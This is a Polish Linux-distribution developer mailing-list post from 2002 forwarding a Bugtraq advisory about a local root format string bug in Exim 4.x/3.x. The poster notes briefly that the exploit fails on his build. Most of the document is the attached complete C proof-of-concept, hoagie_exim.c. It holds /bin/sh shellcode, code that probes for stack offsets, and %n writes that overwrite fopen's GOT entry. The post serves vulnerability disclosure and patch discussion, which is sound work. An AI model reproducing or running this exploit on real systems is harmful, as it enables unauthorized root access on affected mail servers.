local root w EXIM

Paweł Gołaszewski blues w ds6.pg.gda.pl
Czw, 5 Gru 2002, 10:24:09 CET


On Wed, 4 Dec 2002, Michal Kochanowicz wrote:
> Raczej bez paniki.

Czy ktoś potrafi zweryfikować exima z Ra?
exploit u mnie nie chodzi.

Poza tym odpowiedni fragment kodu wygląda zupełnie inaczej (a raczej jest 
jego brak...)

> ----- Forwarded message from Wana Thomas <01psi194 w fhwn.ac.at> -----
> 
> > Date: Wed, 04 Dec 2002 16:40:29 +0100
> > From: Wana Thomas <01psi194 w fhwn.ac.at>
> > User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.1) Gecko/20020826
> > To: bugtraq w securityfocus.com
> > Subject: Local root vulnerability found in exim 4.x (and 3.x)
> > 
> > Overview
> > --------
> > 
> > A local root vulnerability has been discovered in
> > Exim 4.x (4.10 verified and exploit available) and in
> > Exim 3.x (3.35 verified).
> > 
> > Impact
> > ------
> > 
> > The vulnerability can only be exploited by the
> > "admin user" of exim, who is determined by compiled-in
> > values. Thus the RISK of this vulnerability is LOW.
> > 
> > Details
> > -------
> > 
> > This is a format string bug in daemon.c, line 976:
> > 
> > sprintf(CS buff, CS pid_file_path, "");   /* Backward compatibility */
> > 
> > pid_file_path can be changed on the command line.
> > This line is in the function daemon_go(), which only
> > gets executed when the user is an exim-admin-user.
> > 
> > This restricts the impact of this vulnerability a lot.
> > Standard configurations on all distributions should be
> > safe (verified: Debian Woody i386)
> > 
> > Solution
> > --------
> > 
> > Exim developers have been informed and a patch will be
> > ready shortly.
> > 
> > Exploit
> > -------
> > 
> > Please find attached a demonstration exploit of this
> > vulnerability, tested on Debian Woody i386.
> > 
> > There are four important defines to change before the
> > exploit will work - see the file for details.
> > 
> > Discovered by
> > -------------
> > 
> > Thomas Wana <01psi194 w fhwn.ac.at>
> > 
> > Credits
> > -------
> > 
> > greetings to the hoagie industries security group :-)
> > 
> > 
> > 
> 
> > /***********************************************************
> >  * hoagie_exim.c
> >  *
> >  * local root exploit for exim 4.10 and probably others.
> >  * [only works for exim admin users]
> >  *
> >  * Format string bug when handling with the pid_file_path.
> >  * 
> >  * Author: Thomas Wana <01psi194 w fhwn.ac.at>
> >  *
> >  * Greetz to andi and the other hoagie-fellas :-)
> >  *
> >  * THIS FILE IS FOR STUDYING PURPOSES ONLY AND A PROOF-OF-
> >  * CONCEPT. THE AUTHOR CAN NOT BE HELD RESPONSIBLE FOR ANY 
> >  * DAMAGE DONE USING THIS PROGRAM.
> >  *
> >  ************************************************************/
> > 
> > #include <stdio.h>
> > #include <errno.h>
> > #include <unistd.h>
> > #include <signal.h>
> > #include <sys/types.h>
> > #include <string.h>
> > 
> > /*******************************************************
> >  * CRUCIAL VALUES
> >  * 
> >  * these standard values work for Debian Woody i386,
> >  * source build. 
> >  *
> >  * Play with the padding if the program can't find the
> >  * right stackpop values.
> >  *
> >  * ALTERNATE_PORT is the port where exim will bind during
> >  * the stackpop sequences. The port will be incremented by
> >  * one for each try, so expect to have many instances of
> >  * exim running. (this is because the port is bound to as
> >  * root and the user program can't kill that process anymore)
> >  *
> >  * Get the GOT_ADDRESS with 'objdump --dynamic-reloc exim | grep fopen'
> >  *
> >  * Shellcode-Address can vary, it is dependant on the size
> >  * of the current environment. I had values between 0xbffffb00
> >  * and 0xbffffe90. 
> >  *
> >  ********************************************************/
> > #define PADDING 3
> > #define ALTERNATE_PORT 3330
> > #define FOPEN_GOT_ADDRESS 0x080b6194
> > #define SHELLCODE_ADDRESS 0xbffffd00
> > 
> > #define SB4(a) ((unsigned int)(a>>24))
> > #define SB3(a) ((unsigned int)((a>>16)&0xFF))
> > #define SB2(a) ((unsigned int)((a>>8)&0xFF))
> > #define SB1(a) ((unsigned int)(a&0XFF))
> > 
> > char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\x90\x90\x90\x90\x90\x90\x90\x90\x90"
> >                  "\xeb\x1e\x5e\x31\xc0\x88\x46\x07\x89"
> >                  "\x76\x08\x89\x46\x0c\x89\xc2\xb0\x0b"
> >                  "\x89\xf3\x8d\x4e\x08\xcd\x80\x31\xc0"
> >                  "\x89\xc3\x40\xcd\x80\xe8\xdd\xff\xff"
> >                  "\xff/bin/sh";
> > 
> > int port=ALTERNATE_PORT;
> > char path[100];
> > 
> > int check_for_AAAA(char *line)
> > {
> >    int rval=0;
> >    char *endptr;
> > 
> >    if(strstr(line,"too long"))
> >    {
> >       endptr=strrchr(line,':')-8;   
> >    }
> >    else
> >    {
> >       endptr=line+strlen(line)-1-8;
> >    }
> >    if(strstr(endptr,"41414141")) rval=1;
> >    return rval;
> > }
> > 
> > int calc_bytes_written(char *line)
> > {
> >    int rval=0;
> >    char *p;
> >    if((p=strrchr(line,':')))
> >    {
> >       rval=(p-line); 
> >    }
> >    else
> >    {
> >       rval=strlen(line);
> >    } 
> >    if(strstr(line,"pid written to ")) rval-=strlen("pid written to ");
> >    else rval-=strlen("failed to open pid file ");
> >    return rval;
> > }
> > 
> > void getstackpops(int *bigs, int *smalls, int *bytes_written)
> > {
> >    int cpid;
> >    int pipedes[2];
> >    int found=0;
> >    int bs=0, ss=1;
> >    char hilf[10];
> > 
> >    printf("Getting stackpops ...\n");
> >    *bigs=0;
> >    *smalls=1;
> > 
> >    while(!found)
> >    {
> >       if(pipe(pipedes))
> >       {
> >          perror("pipe");
> >          exit(1);
> >       }  
> >    
> >       port++;
> >       cpid=fork();
> >       if(cpid==0)
> >       {
> >          // child process
> >          
> >          char fs[10000];
> >          int i;
> >    
> >          // close stderr and recreate it pointing into the pipe
> >          close(2);
> >          dup2(pipedes[1],2);
> > 
> >          // make new formatstring
> > 
> >          strcpy(fs,"/tmp/%s");
> >          for(i=0;i<PADDING;i++)
> >             strcat(fs,"Z");
> >          strcat(fs,"0000AAAA0000AAAA0000AAAA0000AAAA");
> >          for(i=0;i<bs;i++)
> >             strcat(fs,"%+e");
> >          for(i=0;i<ss;i++)
> >             strcat(fs,"%08x");
> > 
> >          // execute exim
> >          sprintf(hilf,"%d",port);
> >          execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
> >       }
> >       else if(cpid>0)
> >       {
> >          // parent process 
> >          FILE *fp=fdopen(pipedes[0],"r");
> >          char line[10000];
> >          if(fp) 
> >          {
> >             do
> >             {
> >                fgets(line,10000,fp);
> >                line[strlen(line)-1]=0;
> >    /*  printf("%s\n",line);  ENABLE THIS LINE WHEN THE PROGRAM GETS STUCK! */
> >                if(strstr(line,"pid written to ") ||
> >                   strstr(line,"failed to open pid file "))
> >                {
> >                   if(strstr(line,"nan")) printf("watch out, nan encountered.\n");
> >                   if(check_for_AAAA(line)==1)
> >                   {
> >                      // stackpops found, values are OK
> >                      found=1;
> >                      bs--;         // revert 2 stackpops
> >                      printf("Stackpops found ;-)\n");
> >                      *bigs=bs;
> >                      *smalls=ss;
> >                      *bytes_written=calc_bytes_written(line)-13;
> >                   }
> >                   else
> >                   {
> >                      // increase stackpops
> >                      ss++;
> >                      if(ss==3) bs++, ss=1;
> >                      printf("trying bs=%d, ss=%d\n",bs,ss);
> >                   }
> >                }
> >             } while(!strstr(line,"Listening..."));
> >             fclose(fp);
> >          }
> >          else perror("fdopen");
> >          kill(cpid,SIGINT);
> >          usleep(100000);
> >       }
> >       else perror("fork"); 
> >       close(pipedes[0]);
> >       close(pipedes[1]);
> >    }
> > }
> > 
> > void get_write_paddings(unsigned long addr, int *p1, int *p2, int *p3, 
> >                         int *p4, int bytes_written)
> > {
> >    // greetings to scud :-)
> >    int write_byte;
> >    int already_written;
> >    int padding;
> > 
> >    write_byte=SB1(addr);
> >    already_written=bytes_written;
> >    write_byte+=0x100;
> >    already_written%=0x100;
> >    padding=(write_byte-already_written)%0x100;
> >    if(padding<10) padding+=0x100;
> >    *p1=padding;
> > 
> >    write_byte=SB2(addr);
> >    already_written+=padding;
> >    write_byte+=0x100;
> >    already_written%=0x100;
> >    padding=(write_byte-already_written)%0x100;
> >    if(padding<10) padding+=0x100;
> >    *p2=padding;
> > 
> >    write_byte=SB3(addr);
> >    already_written+=padding;
> >    write_byte+=0x100;
> >    already_written%=0x100;
> >    padding=(write_byte-already_written)%0x100;
> >    if(padding<10) padding+=0x100;
> >    *p3=padding;
> > 
> >    write_byte=SB4(addr);
> >    already_written+=padding;
> >    write_byte+=0x100;
> >    already_written%=0x100;
> >    padding=(write_byte-already_written)%0x100;
> >    if(padding<10) padding+=0x100;
> >    *p4=padding;
> > }
> > 
> > int main(int argc, char **argv)
> > {
> >    int bigpops, smallpops, bytes_written, i;
> >    unsigned char fs[10000], hilf[1000];
> >    unsigned long a=FOPEN_GOT_ADDRESS,
> >                  b=FOPEN_GOT_ADDRESS+1,
> >                  c=FOPEN_GOT_ADDRESS+2,
> >                  d=FOPEN_GOT_ADDRESS+3; 
> >    unsigned int p1,p2,p3,p4;
> > 
> >    if(argc!=2)
> >    {
> >       printf("local root exploit for exim 4.10 [only works for exim admin users]\n\n");
> >       printf("./hoagie_exim path_to_exim\n\n");
> >       exit(1);
> >    }
> >    strcpy(path,argv[1]);        // exploiting an exploit? hehe
> > 
> >    getstackpops(&bigpops,&smallpops,&bytes_written);
> >    printf("Using %d bigpops and %d smallpops.\n", bigpops,smallpops);
> >    printf("Written bytes: %d\n",bytes_written);
> > 
> >    strcpy(fs,"/tmp/%s");
> >    for(i=0;i<PADDING;i++)
> >       strcat(fs,"Z");
> > 
> >    sprintf(hilf,"0000%c%c%c%c"
> >                "0000%c%c%c%c"
> >                "0000%c%c%c%c"
> >                "0000%c%c%c%c",
> >            SB1(a),SB2(a),SB3(a),SB4(a),SB1(b),SB2(b),SB3(b),SB4(b),
> >            SB1(c),SB2(c),SB3(c),SB4(c),SB1(d),SB2(d),SB3(d),SB4(d)); 
> >    strcat(fs,hilf);
> >    for(i=0;i<bigpops;i++)
> >       strcat(fs,"%+e");
> >    for(i=0;i<smallpops;i++)
> >       strcat(fs,"%08x"); 
> > 
> >    get_write_paddings(SHELLCODE_ADDRESS,&p1,&p2,&p3,&p4,bytes_written);
> > 
> >    sprintf(hilf,"%%.%uu%%n%%.%uu%%n%%.%uu%%n%%.%uu%%n",p1,p2,p3,p4);
> >    strcat(fs,hilf);
> >   
> >    // GET ROOT 
> >    printf("calling exim with fs='%s'\n",fs);
> >    sprintf(hilf,"%d",++port);
> >    execl(path,"exim","-bd","-d","-oX",hilf,"-oP",fs,"-F",shellcode,NULL);
> > 
> >    return 0;
> > }
> > 
> > 
> > 
> 
> 
> ----- End forwarded message -----
> 
> 

-- 
---------------------------------
pozdr.  Paweł Gołaszewski        
---------------------------------
CPU not found - software emulation...



Więcej informacji o liście dyskusyjnej pld-devel-pl